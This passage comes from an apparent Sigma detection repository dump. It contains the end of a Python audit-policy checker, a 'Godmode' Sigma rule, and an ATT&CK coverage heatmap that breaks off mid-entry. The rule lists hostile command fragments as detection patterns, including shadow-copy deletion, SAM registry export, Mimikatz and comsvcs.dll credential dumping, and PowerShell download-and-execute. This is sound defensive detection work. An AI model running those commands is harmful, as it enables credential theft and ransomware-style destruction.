element.tag:\n SubcategoryGuid = element\n elif \"SettingValue\" in element.tag:\n SettingValue = element\n # If the audit settings is enabled for \"Success\" or both \"Success and Failure\". Then it's okay (for V0.1)\n if SettingValue.text == \"1\" or SettingValue.text == \"3\":\n enabled_sec_policies.append(SubcategoryGuid.text.upper())\n elif \"Registry\" in ext_type:\n registrySettings = i[0]\n for policy in registrySettings:\n if \"}Policy\" in policy.tag:\n policyName = \"\"\n policyState = \"\"\n policyCategory = \"\"\n for element in policy:\n if \"Name\" in element.tag:\n policyName = element\n elif \"State\" in element.tag:\n policyState = element\n elif \"Category\" in element.tag:\n policyCategory = element\n # {\"Category\": {\"Name\": \"State\"}}\n tmp = {policyName.text : policyState.text}\n enabled_other_logs[policyCategory.text].append(tmp)\n \n return enabled_sec_policies, enabled_other_logs\n \n\n\n\nif __name__ == \"__main__\":\n\n print(f\"\"\"\n _____ _ \n / ___/(_)___ _____ ___ ____ _ \n \\__ \\/ / __ `/ __ `__ \\/ __ `/ \n ___/ / / /_/ / / / / / / /_/ / \n /____/_/\\__, /_/ /_/ /_/\\__,_/ ________ __ \n / / /____/ ____ __________ __ _______________ / ____/ /_ ___ _____/ /_____ _____\n / / / __ \\/ __ `/ ___/ __ \\/ / / / ___/ ___/ _ \\ / / / __ \\/ _ \\/ ___/ //_/ _ \\/ ___/\n / /___/ /_/ / /_/ (__ ) /_/ / /_/ / / / /__/ __/ / /___/ / / / __/ /__/ ,< / __/ / \n /_____/\\____/\\__, /____/\\____/\\__,_/_/ \\___/\\___/ \\____/_/ /_/\\___/\\___/_/|_|\\___/_/ \n /____/ by Nasreddine Bencherchali (Nextron Systems), v{__version__} \n \"\"\")\n \n parser = argparse.ArgumentParser(description='SIGMA Logsource Checker')\n parser.add_argument('-d', help='Path to input directory (SIGMA rules folder; recursive)', metavar='sigma-rules-folder', required=True)\n parser.add_argument('-gp', help='XML output of the command \"gpresult.exe /x [path]\"', metavar='gpresult')\n #parser.add_argument('-sysmon', help='Sysmon configuration', metavar='sysmon-config') # TODO: add Sysmon config parser\n parser.add_argument('-v', help='Get audit and logging details for every rule', action=\"store_true\")\n #parser.add_argument('-vv', help='Get audit and logging details for every rule', metavar='Very Verbose')\n args = parser.parse_args()\n\n if os.path.isdir(args.d):\n path_to_rules = args.d\n else:\n print(\"The path provided isn't a directory: %s\" % args.d)\n exit(1)\n\n if args.gp:\n gpresult = args.gp\n print(\"Parsing gpresults file (XML) %s ...\\n\" % args.gp)\n subcategory_id, enabled_other_logs = parse_gpresult(gpresult)\n else:\n subcategory_id = []\n enabled_other_logs = OTHER_EVENT_ID_MAPPING\n\n print(\"Discovering used log sources ...\\n\")\n \n faulty_rules = test_invalid_logsource_attributes(path_to_rules)\n windows_service_security_dict, windows_service_powershell_dict, windows_category_process_creation_dict, windows_category_ps_module_dict, windows_category_ps_script_dict = get_logsource_dict(path_to_rules, faulty_rules)\n\n if args.v:\n\n print(\"Generating detailed logging requirements information for every rule...\\n\")\n sleep(1)\n\n if windows_category_process_creation_dict:\n print(f\"\\nChecking rules with logsource - 'product: windows / category: process_creation'...\")\n # We check special fields. If they exist then we suggest the policy to be enabled\n for filename, fields in windows_category_process_creation_dict.items():\n special_fields_sysmon = []\n special_fields_security = []\n for field in fields:\n if field in WINDOWS_SYSMON_SPECIAL_PROCESS_CREATION_FIELDS:\n special_fields_sysmon.append(field)\n elif field in WINDOWS_SECURITY_SPECIAL_PROCESS_CREATION_FIELDS:\n special_fields_security.append(field)\n \n if special_fields_sysmon:\n print(\"-> Rule '{}' uses fields: {} which Requires Microsoft-Windows-Sysmon EID 1 to be enabled\".format(os.path.basename(filename), special_fields_sysmon))\n elif special_fields_security:\n if \"{0CCE922B-69AE-11D9-BED3-505054503030}\" not in subcategory_id:\n print(\"-> Rule '{}' uses fields: {} which Requires Microsoft Windows Security Auditing EID 4688 to be enabled\".format(os.path.basename(filename), special_fields_security))\n else:\n if \"{0CCE922B-69AE-11D9-BED3-505054503030}\" not in subcategory_id:\n print(\"-> Rule '{}' uses fields: {} which Requires 'Microsoft Windows Security Auditing EID 4688' or 'Microsoft-Windows-Sysmon EID 1' to be enabled\".format(os.path.basename(filename), fields))\n\n if windows_category_ps_module_dict:\n print(f\"\\nChecking rules with logsource - 'product: windows / category: ps_module'...\")\n pwsh5_ps_module_enabled = False\n pwsh5 = \"Windows Components/Windows PowerShell\"\n #pwsh7 = \"PowerShell Core\" # TODO: Add PWSH7 Checks\n if pwsh5 in enabled_other_logs:\n if enabled_other_logs[pwsh5][0]['Turn on Module Logging'] == \"Enabled\":\n pwsh5_ps_module_enabled = True\n\n for filename, fields in windows_category_ps_module_dict.items():\n if not pwsh5_ps_module_enabled:\n print(\"-> Rule '{}' uses fields: {} which Requires Microsoft-Windows-PowerShell EID 4103 to be enabled\".format(os.path.basename(filename), fields))\n \n if windows_category_ps_script_dict:\n print(f\"\\nChecking rules with logsource - 'product: windows / category: ps_script'...\")\n pwsh5_ps_script_enabled = False\n pwsh5 = \"Windows Components/Windows PowerShell\"\n #pwsh7 = \"PowerShell Core\" # TODO: Add PWSH7 Checks\n if pwsh5 in enabled_other_logs:\n if enabled_other_logs[pwsh5][1]['Turn on PowerShell Script Block Logging'] == \"Enabled\":\n pwsh5_ps_script_enabled = True\n for filename, fields in windows_category_ps_script_dict.items():\n if not pwsh5_ps_script_enabled:\n print(\"-> Rule '{}' uses fields: {} which Requires Microsoft-Windows-PowerShell EID 4104 to be enabled\".format(os.path.basename(filename), fields))\n\n if windows_service_security_dict:\n print(f\"\\nChecking rules using logsource - 'product: windows / service: security'...\")\n for filename, eids in windows_service_security_dict.items():\n specific_eids = set()\n specific_subcategory = set()\n for eid in eids:\n for key, value in SECURITY_EVENT_ID_MAPPING.items():\n if value['EventIDs']:\n if ((eid in value['EventIDs']) and (key not in subcategory_id)):\n specific_eids.add(eid)\n specific_subcategory.add((key, value['Name']))\n \n specific_eids = list(specific_eids)\n specific_subcategory = list(specific_subcategory)\n \n \n if len(specific_subcategory) > 1:\n print(\"-> Rule '{}' uses EventIDs: {} which Requires:\".format(os.path.basename(filename), specific_eids))\n for i in specific_subcategory:\n print(\" - '{}' / {} to be enabled\".format(i[1], i[0]))\n else:\n if len(specific_subcategory) != 0:\n print(\"-> Rule '{}' uses EventIDs: {} which Requires: '{}' / {} to be enabled\".format(os.path.basename(filename), specific_eids, specific_subcategory[0][1], specific_subcategory[0][0]))\n\n\n \n else:\n\n print(\"Generating generic logging requirements information for the rule set...\")\n sleep(1)\n\n # If no verbose mode was triggered we generate a generic audit policy suggestion for all rules\n # Process Creation Rules\n if windows_category_process_creation_dict:\n enable_sysmon = False\n enable_4688 = False\n print(f\"\\nChecking rules with logsource - 'product: windows / category: process_creation'...\")\n # We check special fields. If they exist then we suggest the policy to be enabled\n all_process_creation_fields = []\n for filename, fields in windows_category_process_creation_dict.items():\n all_process_creation_fields += fields\n all_process_creation_fields = list(set(all_process_creation_fields))\n for field in WINDOWS_SYSMON_SPECIAL_PROCESS_CREATION_FIELDS:\n if field in all_process_creation_fields:\n enable_sysmon = True\n print(\"-> Rules use Sysmon EID 1 only fields. A Sysmon configuration monitoring Process Creation is required\")\n break\n if not enable_sysmon:\n for field in WINDOWS_SECURITY_SPECIAL_PROCESS_CREATION_FIELDS:\n if field in all_process_creation_fields:\n if \"{0CCE922B-69AE-11D9-BED3-505054503030}\" not in subcategory_id:\n enable_4688 = True\n print(\"-> Rules use Microsoft-Windows-Security-Auditing EID 4688 only fields. Audit policy sub-category {0CCE922B-69AE-11D9-BED3-505054503030} / 'Process Creation' must be enabled\")\n break\n else:\n print(\"Audit policy sub-category {0CCE922B-69AE-11D9-BED3-505054503030} / 'Process Creation' is already enabled\")\n break\n if not enable_4688:\n print(\"-> Audit policy sub-category {0CCE922B-69AE-11D9-BED3-505054503030} / 'Process Creation' must be enabled\")\n\n if windows_category_ps_module_dict:\n print(f\"\\nChecking rules with logsource - 'product: windows / category: ps_module'...\")\n \n pwsh5 = \"Windows Components/Windows PowerShell\"\n #pwsh7 = \"PowerShell Core\" # TODO: Add PWSH7 Checks\n\n if pwsh5 in enabled_other_logs:\n if enabled_other_logs[pwsh5][0]['Turn on Module Logging'] != \"Enabled\":\n print(\"-> Rules use Microsoft-Windows-PowerShell EID 4103. Audit policy 'Module Logging' must be enabled\")\n else:\n print(\"-> PowerShell 'Module Logging' is Enabled\")\n \n if windows_category_ps_script_dict:\n print(f\"\\nChecking rules with logsource - 'product: windows / category: ps_script'...\")\n \n pwsh5 = \"Windows Components/Windows PowerShell\"\n #pwsh7 = \"PowerShell Core\" # TODO: Add PWSH7 Checks\n\n if pwsh5 in enabled_other_logs:\n if enabled_other_logs[pwsh5][1]['Turn on PowerShell Script Block Logging'] != \"Enabled\":\n print(\"-> Rules use Microsoft-Windows-PowerShell EID 4104. Audit policy PowerShell 'Script Block Logging' must be enabled\")\n else:\n print(\"-> PowerShell 'Script Block Logging' is Enabled\")\n \n if windows_service_security_dict:\n print(f\"\\nChecking rules using logsource - 'product: windows / service: security'...\")\n all_security_eids = []\n for filename, eids in windows_service_security_dict.items():\n all_security_eids += eids\n all_security_eids = list(set(all_security_eids))\n for eid in all_security_eids:\n for key, value in SECURITY_EVENT_ID_MAPPING.items():\n if value['EventIDs']:\n if ((eid in value['EventIDs']) and (key not in subcategory_id)):\n print(\"-> Rules use events generated from audit policy sub-category '{}'. The audit policy '{}' must be enabled\".format(key, value['Name']))\n subcategory_id.append(key)\n \n print(\"\\nFor more information on how to setup logging, you can visit: https://github.com/SigmaHQ/sigma/tree/master/rules-documentation/logsource-guides\") \n"
},
{
"path": "other/godmode_sigma_rule.yml",
"content": "# _____ __ __ ___ __ \n# / ___/__ ___/ / / |/ /__ ___/ /__ \n# / (_ / _ \\/ _ / / /|_/ / _ \\/ _ / -_) \n# \\___/\\___/\\_,_/ /_/ /_/\\___/\\_,_/\\__/_ \n# / __(_)__ ___ _ ___ _ / _ \\__ __/ /__ \n# _\\ \\/ / _ `/ ' \\/ _ `/ / , _/ // / / -_)\n# /___/_/\\_, /_/_/_/\\_,_/ /_/|_|\\_,_/_/\\__/ \n# /___/ IDDQD \n#\n# Florian Roth\n# May 2020\n# v0.3\n#\n# A Proof-of-Concept with the most effective search queries\n\ntitle: Godmode Sigma Rule\nid: def6caac-a999-4fc9-8800-cfeff700ba98\ndescription: 'PoC rule to detect malicious activity - following the principle: if you had only one shot, what would you look for?'\nstatus: experimental\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-12-22\nmodified: 2022-08-04\nlevel: high\naction: global\n---\nlogsource:\n category: process_creation\n product: windows\ndetection:\n # Different suspicious or malicious command line parameters\n selection_plain:\n CommandLine|contains:\n - ' -NoP ' # Often used in malicious PowerShell commands\n - ' -W Hidden ' # Often used in malicious PowerShell commands\n - ' -decode ' # Used with certutil\n - ' /decode ' # Used with certutil\n - ' -e* JAB' # PowerShell encoded commands\n - ' -e* SUVYI' # PowerShell encoded commands\n - ' -e* SQBFAFgA' # PowerShell encoded commands\n - ' -e* aWV4I' # PowerShell encoded commands\n - ' -e* IAB' # PowerShell encoded commands\n - ' -e* PAA' # PowerShell encoded commands\n - ' -e* aQBlAHgA' # PowerShell encoded commands\n - 'vssadmin delete shadows' # Ransomware\n - 'reg SAVE HKLM\\SAM' # save registry SAM - syskey extraction\n - ' -ma ' # ProcDump\n - 'Microsoft\\Windows\\CurrentVersion\\Run' # Run key in command line - often in combination with REG ADD\n - '.downloadstring(' # PowerShell download command\n - '.downloadfile(' # PowerShell download command\n - ' /ticket:' # Rubeus\n - ' sekurlsa' # Mimikatz\n - ' p::d ' # Mimikatz\n - ';iex(' # PowerShell IEX\n - 'schtasks* /create *AppData' # Scheduled task creation pointing to AppData\n - ' comsvcs.dll,MiniDump' # Process dumping method apart from procdump\n - ' comsvcs.dll,#24' # Process dumping method apart from procdump\n - ' comsvcs.dll MiniDump' # Process dumping method apart from procdump\n - ' comsvcs.dll #24' # Process dumping method apart from procdump\n - ' comsvcs `#' # Process dumping method apart from procdump\n - ' comsvcs #' # Process dumping method apart from procdump\n - ' comsvcs MiniDump' # Process dumping method apart from procdump\n - '.dmp full' # Process dumping method apart from procdump\n selection_parent_child:\n ParentImage|contains:\n # Office Dropper Detection\n - '\\WINWORD.EXE'\n - '\\EXCEL.EXE'\n - '\\POWERPNT.exe'\n - '\\MSPUB.exe'\n - '\\VISIO.exe'\n - '\\OUTLOOK.EXE'\n Image|contains:\n - '\\cmd.exe'\n - '\\powershell.exe'\n - '\\pwsh.exe'\n - '\\wscript.exe'\n - '\\cscript.exe'\n - '\\schtasks.exe'\n - '*\\scrcons.exe'\n - '\\regsvr32.exe'\n - '\\hh.exe'\n - '\\wmic.exe'\n - '\\mshta.exe'\n - '\\msiexec.exe'\n - '\\forfiles.exe'\n - '\\AppData\\'\n selection_webshells:\n Image|contains:\n - '\\apache*'\n - '\\tomcat*'\n - '\\w3wp.exe'\n - '\\php-cgi.exe'\n - '\\nginx.exe'\n - '\\httpd.exe'\n CommandLine|contains:\n - 'whoami'\n - 'net user '\n - 'ping -n '\n - 'systeminfo'\n - '&cd&echo'\n - 'cd /d ' # https://www.computerhope.com/cdhlp.htm\n # Running whoami as LOCAL_SYSTEM (usually after privilege escalation)\n selection_whoami:\n Image|contains: '\\whoami.exe'\n User|contains: \n - 'AUTHORI'\n - 'AUTORI'\n condition: 1 of them\n---\nlogsource:\n product: windows\n service: sysmon\ndetection:\n selection_file_creation:\n EventID: 11\n TargetFilename|contains:\n - '.dmp' # dump process memory\n - 'Desktop\\how' # Ransomware\n - 'Desktop\\decrypt' # Ransomware\n selection_registry_modifications:\n EventID:\n - 12\n - 13\n TargetObject|contains:\n - 'UserInitMprLogonScript' # persistence\n - '\\CurrentVersion\\Image File Execution Options\\' # persistence\n selection_registry_run:\n EventID:\n - 12\n - 13\n TargetObject|contains:\n - '\\Microsoft\\Windows\\CurrentVersion\\Run\\' # persistence\n - '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\' # persistence\n Details|contains:\n - 'AppData'\n - '\\Users\\Public\\'\n - '\\Temp\\'\n - 'powershell'\n - 'wscript'\n - 'cscript'\n condition: 1 of them\n---\nlogsource:\n product: windows\n service: system\ndetection:\n # Malicious service installs\n selection:\n EventID: 7045\n ServiceName|contains:\n - 'WCESERVICE'\n - 'WCE SERVICE'\n - 'winexesvc'\n - 'DumpSvc'\n - 'pwdump'\n - 'gsecdump'\n - 'cachedump'\n condition:\n 1 of them"
},
{
"path": "other/sigma_attack_nav_coverage.json",
"content": "{\n \"name\": \"Sigma Analytics Coverage\",\n \"versions\": {\n \"attack\": \"18.1\",\n \"navigator\": \"4.8.1\",\n \"layer\": \"4.4\"\n },\n \"domain\": \"enterprise-attack\",\n \"description\": \"Sigma coverage heatmap generated by Sigma CLI with score function count\",\n \"gradient\": {\n \"colors\": [\n \"#66b1ffff\",\n \"#ff66f4ff\"\n ],\n \"minValue\": 0,\n \"maxValue\": 20\n },\n \"techniques\": [\n {\n \"techniqueID\": \"T1078\",\n \"tactic\": \"defense-evasion\",\n \"score\": 60,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078\",\n \"tactic\": \"persistence\",\n \"score\": 60,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 60,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078\",\n \"tactic\": \"initial-access\",\n \"score\": 60,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1114.003\",\n \"tactic\": \"collection\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1090\",\n \"tactic\": \"command-and-control\",\n \"score\": 22,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1606\",\n \"tactic\": \"credential-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1528\",\n \"tactic\": \"credential-access\",\n \"score\": 14,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1140\",\n \"tactic\": \"defense-evasion\",\n \"score\": 18,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098\",\n \"tactic\": \"persistence\",\n \"score\": 29,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 29,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1589\",\n \"tactic\": \"reconnaissance\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1110\",\n \"tactic\": \"credential-access\",\n \"score\": 25,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.004\",\n \"tactic\": \"persistence\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.004\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.004\",\n \"tactic\": \"initial-access\",\n \"score\": 40,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552\",\n \"tactic\": \"credential-access\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 22,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1548\",\n \"tactic\": \"defense-evasion\",\n \"score\": 22,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556\",\n \"tactic\": \"credential-access\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556\",\n \"tactic\": \"defense-evasion\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556\",\n \"tactic\": \"persistence\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.003\",\n \"tactic\": \"persistence\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.001\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.005\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1098.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1485\",\n \"tactic\": \"impact\",\n \"score\": 20,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1496\",\n \"tactic\": \"impact\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1489\",\n \"tactic\": \"impact\",\n \"score\": 19,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.003\",\n \"tactic\": \"execution\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.003\",\n \"tactic\": \"persistence\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.007\",\n \"tactic\": \"credential-access\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 29,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.001\",\n \"tactic\": \"credential-access\",\n \"score\": 24,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.007\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1565.001\",\n \"tactic\": \"impact\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003\",\n \"tactic\": \"credential-access\",\n \"score\": 34,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059\",\n \"tactic\": \"execution\",\n \"score\": 94,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562\",\n \"tactic\": \"defense-evasion\",\n \"score\": 27,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1562.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 127,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1578\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1578.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1531\",\n \"tactic\": \"impact\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1621\",\n \"tactic\": \"credential-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.006\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1556.006\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1087.004\",\n \"tactic\": \"discovery\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1526\",\n \"tactic\": \"discovery\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1565\",\n \"tactic\": \"impact\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1074\",\n \"tactic\": \"collection\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1484.002\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1114\",\n \"tactic\": \"collection\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1573\",\n \"tactic\": \"command-and-control\",\n \"score\": 6,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1199\",\n \"tactic\": \"initial-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n 